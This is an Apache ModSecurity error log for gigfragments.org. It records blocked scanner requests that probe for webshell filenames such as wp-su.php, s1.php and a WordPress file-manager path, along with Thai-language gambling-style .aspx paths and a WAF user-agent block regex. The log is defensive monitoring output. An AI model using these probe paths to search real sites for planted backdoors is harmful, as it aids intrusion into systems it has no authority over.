[Fri Jan 30 06:52:01.271687 2026] [:error] [pid 46912:tid 46947] [client 20.219.1.210:8804] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zz8.php"] [unique_id "aXvkkT6yiVW7A9NwFFkVeAAAABc"]
[Fri Jan 30 06:52:01.579159 2026] [:error] [pid 47021:tid 47028] [client 54.37.252.153:34424] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201.aspx"] [unique_id "aXvkkdap1k13UdZUNSRW4wAAAMU"]
[Fri Jan 30 06:52:01.735012 2026] [:error] [pid 47021:tid 47037] [client 20.219.1.210:8822] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s1.php"] [unique_id "aXvkkdap1k13UdZUNSRW5AAAAM4"]
[Fri Jan 30 06:52:02.512219 2026] [:error] [pid 38980:tid 38987] [client 20.219.1.210:8789] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s1.php"] [unique_id "aXvkkrYByxUZEaKXdHruXgAAAgA"]
[Fri Jan 30 06:52:03.228919 2026] [:error] [pid 47021:tid 47036] [client 20.219.1.210:8712] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s1.php"] [unique_id "aXvkk9ap1k13UdZUNSRW6wAAAM0"]
[Fri Jan 30 06:52:03.494175 2026] [:error] [pid 24712:tid 24749] [client 54.37.252.153:34430] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%20777.aspx"] [unique_id "aXvkk4RLQrFiQF3h9-tk_AAAAYg"]
[Fri Jan 30 06:52:04.234123 2026] [:error] [pid 24681:tid 24706] [client 20.219.1.210:8735] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s1.php"] [unique_id "aXvklIE368IXQpahn0LKeAAAARc"]
[Fri Jan 30 06:52:05.319778 2026] [:error] [pid 24711:tid 24723] [client 20.219.1.210:8780] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah21.php"] [unique_id "aXvkla5Gwh4var6T23JVOQAAAUk"]
[Fri Jan 30 06:52:05.417491 2026] [:error] [pid 46912:tid 46942] [client 54.37.252.153:34444] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXvklT6yiVW7A9NwFFkVewAAABI"]
[Fri Jan 30 06:52:05.661343 2026] [:error] [pid 38980:tid 39011] [client 20.219.1.210:8769] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah21.php"] [unique_id "aXvklbYByxUZEaKXdHruZwAAAhg"]
[Fri Jan 30 06:52:06.041498 2026] [:error] [pid 24711:tid 24726] [client 20.219.1.210:8754] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah21.php"] [unique_id "aXvklq5Gwh4var6T23JVOgAAAUw"]
[Fri Jan 30 06:52:06.375865 2026] [:error] [pid 47021:tid 47044] [client 20.219.1.210:8776] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah21.php"] [unique_id "aXvkltap1k13UdZUNSRW7gAAANU"]
[Fri Jan 30 06:52:07.314198 2026] [:error] [pid 47021:tid 47024] [client 54.37.252.153:34458] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/%E0%B9%82%E0%B8%9B%E0%B8%A3%20%E0%B8%97%E0%B8%B8%E0%B8%99%E0%B8%99%E0%B9%89%E0%B8%AD%E0%B8%A2%20%E0%B8%9D%E0%B8%B2%E0%B8%8110%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXvkl9ap1k13UdZUNSRW8AAAAME"]
[Fri Jan 30 06:52:07.353372 2026] [:error] [pid 47021:tid 47045] [client 20.219.1.210:8784] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah22.php"] [unique_id "aXvkl9ap1k13UdZUNSRW8QAAANY"]
[Fri Jan 30 06:52:08.008292 2026] [:error] [pid 47021:tid 47040] [client 20.219.1.210:8819] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah22.php"] [unique_id "aXvkmNap1k13UdZUNSRW8wAAANE"]
[Fri Jan 30 06:52:08.760511 2026] [:error] [pid 46913:tid 46964] [client 20.219.1.210:8778] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah22.php"] [unique_id "aXvkmDMWmKL8hOfC3uQlOwAAAE0"]
[Fri Jan 30 06:52:09.136034 2026] [:error] [pid 46914:tid 46985] [client 20.219.1.210:8765] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah22.php"] [unique_id "aXvkmVgSfJ4kZxNKlb_D-QAAAIc"]
[Fri Jan 30 06:52:09.240183 2026] [:error] [pid 24712:tid 24751] [client 54.37.252.153:60168] [client 54.37.252.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/z16%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXvkmYRLQrFiQF3h9-tk_wAAAYo"]
[Fri Jan 30 06:52:10.472158 2026] [:error] [pid 38686:tid 38694] [client 20.219.1.210:3018] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws38.php"] [unique_id "aXvkmgoE8BAjgw1_sAWl2AAAAcQ"]
[Fri Jan 30 06:52:11.635230 2026] [:error] [pid 47021:tid 47038] [client 20.219.1.210:3035] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws38.php"] [unique_id "aXvkm9ap1k13UdZUNSRW_QAAAM8"]
[Fri Jan 30 06:52:12.563556 2026] [:error] [pid 24681:tid 24706] [client 20.219.1.210:8739] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws38.php"] [unique_id "aXvknIE368IXQpahn0LKogAAARc"]
[Fri Jan 30 06:52:13.825014 2026] [:error] [pid 46912:tid 46926] [client 20.219.1.210:8745] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws38.php"] [unique_id "aXvknT6yiVW7A9NwFFkVqgAAAAI"]
[Fri Jan 30 06:52:14.435597 2026] [:error] [pid 24711:tid 24715] [client 20.219.1.210:3033] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvknq5Gwh4var6T23JVQAAAAUE"]
[Fri Jan 30 06:52:15.133575 2026] [:error] [pid 24711:tid 24732] [client 20.219.1.210:8791] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvkn65Gwh4var6T23JVQQAAAVI"]
[Fri Jan 30 06:52:16.084823 2026] [:error] [pid 46914:tid 46983] [client 20.219.1.210:8744] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvkoFgSfJ4kZxNKlb_EKwAAAIU"]
[Fri Jan 30 06:52:16.648889 2026] [:error] [pid 46914:tid 46998] [client 20.219.1.210:8802] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvkoFgSfJ4kZxNKlb_ELQAAAJQ"]
[Fri Jan 30 06:52:17.731805 2026] [:error] [pid 38686:tid 38701] [client 20.219.1.210:3011] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploaxa1.php"] [unique_id "aXvkoQoE8BAjgw1_sAWl4QAAAcs"]
[Fri Jan 30 06:52:18.510158 2026] [:error] [pid 46914:tid 46996] [client 20.219.1.210:8830] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploaxa1.php"] [unique_id "aXvkolgSfJ4kZxNKlb_EMgAAAJI"]
[Fri Jan 30 06:52:19.057931 2026] [:error] [pid 46913:tid 46975] [client 20.219.1.210:8772] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploaxa1.php"] [unique_id "aXvkozMWmKL8hOfC3uQlRgAAAFg"]
[Fri Jan 30 06:52:19.839889 2026] [:error] [pid 24681:tid 24700] [client 20.219.1.210:3047] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploaxa1.php"] [unique_id "aXvko4E368IXQpahn0LKuAAAARE"]
[Fri Jan 30 06:52:20.623372 2026] [:error] [pid 24711:tid 24721] [client 20.219.1.210:8713] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-su.php"] [unique_id "aXvkpK5Gwh4var6T23JVRQAAAUc"]
[Fri Jan 30 06:52:21.376669 2026] [:error] [pid 24711:tid 24725] [client 20.219.1.210:8734] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-su.php"] [unique_id "aXvkpa5Gwh4var6T23JVRwAAAUs"]
[Fri Jan 30 06:52:22.037887 2026] [:error] [pid 24712:tid 24745] [client 20.219.1.210:8733] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-su.php"] [unique_id "aXvkpoRLQrFiQF3h9-tlCQAAAYQ"]
[Fri Jan 30 06:52:22.649103 2026] [:error] [pid 38686:tid 38705] [client 20.219.1.210:8829] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-su.php"] [unique_id "aXvkpgoE8BAjgw1_sAWl4wAAAc8"]
[Fri Jan 30 06:52:23.521681 2026] [:error] [pid 38686:tid 38691] [client 20.219.1.210:8810] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzzaq.php"] [unique_id "aXvkpwoE8BAjgw1_sAWl5QAAAcE"]
[Fri Jan 30 06:52:24.643371 2026] [:error] [pid 24712:tid 24755] [client 20.219.1.210:8807] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzzaq.php"] [unique_id "aXvkqIRLQrFiQF3h9-tlDAAAAY4"]
[Fri Jan 30 06:52:25.281269 2026] [:error] [pid 24712:tid 24759] [client 20.219.1.210:3012] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzzaq.php"] [unique_id "aXvkqYRLQrFiQF3h9-tlDQAAAZE"]
[Fri Jan 30 06:52:26.226320 2026] [:error] [pid 24681:tid 24705] [client 20.219.1.210:8753] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rzzaq.php"] [unique_id "aXvkqoE368IXQpahn0LKwgAAARY"]
[Fri Jan 30 06:52:26.996313 2026] [:error] [pid 38686:tid 38696] [client 20.219.1.210:8779] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abtpn.php"] [unique_id "aXvkqgoE8BAjgw1_sAWl6QAAAcY"]
[Fri Jan 30 06:52:27.831184 2026] [:error] [pid 47021:tid 47032] [client 20.219.1.210:8827] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abtpn.php"] [unique_id "aXvkq9ap1k13UdZUNSRXLwAAAMk"]
[Fri Jan 30 06:52:28.840440 2026] [:error] [pid 24681:tid 24689] [client 20.219.1.210:3027] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abtpn.php"] [unique_id "aXvkrIE368IXQpahn0LKxgAAAQY"]
[Fri Jan 30 06:52:30.089640 2026] [:error] [pid 47021:tid 47030] [client 20.219.1.210:8831] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abtpn.php"] [unique_id "aXvkrtap1k13UdZUNSRXOAAAAMc"]
[Fri Jan 30 06:52:31.165933 2026] [:error] [pid 47021:tid 47027] [client 20.219.1.210:8813] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my1.php"] [unique_id "aXvkr9ap1k13UdZUNSRXOwAAAMQ"]
[Fri Jan 30 06:52:31.969612 2026] [:error] [pid 46912:tid 46928] [client 20.219.1.210:8826] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my1.php"] [unique_id "aXvkrz6yiVW7A9NwFFkVyQAAAAQ"]
[Fri Jan 30 06:52:35.284263 2026] [:error] [pid 46914:tid 46994] [client 20.219.1.210:3021] [client 20.219.1.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my1.php"] [unique_id "aXvks1gSfJ4kZxNKlb_EUAAAAJA"]
[Fri Jan 30 07:28:43.950274 2026] [:error] [pid 24681:tid 24689] [client 84.239.45.133:36940] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXvtK4E368IXQpahn0LUQwAAAQY"]
[Fri Jan 30 07:28:45.637565 2026] [:error] [pid 24681:tid 24690] [client 84.239.45.133:2743] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtLYE368IXQpahn0LURwAAAQc"]
[Fri Jan 30 07:28:46.410645 2026] [:error] [pid 38686:tid 38703] [client 84.239.45.133:28304] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aXvtLgoE8BAjgw1_sAWyIgAAAc0"]
[Fri Jan 30 07:28:47.162897 2026] [:error] [pid 38980:tid 39003] [client 84.239.45.133:36626] [client 84.239.45.133] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:^(?:microsoft url|user-Agent|www\\\\.weblogs\\\\.com|(?:jakart|vi)a|(google|i{0,1}explorer{0,1}\\\\.exe|(ms){0,1}ie( [0-9.]{1,}){0,1} {0,1}(compatible( browser){0,1}){0,1})$)|\\\\bdatacha0s\\\\b|; widows|\\\\\\\\r|a(?: href=|d(?:sarobot|vanced email extractor ..." at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/03_Global_Agents.conf"] [line "29"] [id "210831"] [rev "2"] [msg "COMODO WAF: Rogue web site crawler||www.gigfragments.org|F|4"] [data "panscient.com"] [severity "WARNING"] [tag "CWAF"] [tag "Agents"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXvtL7YByxUZEaKXdHr2jwAAAhA"]
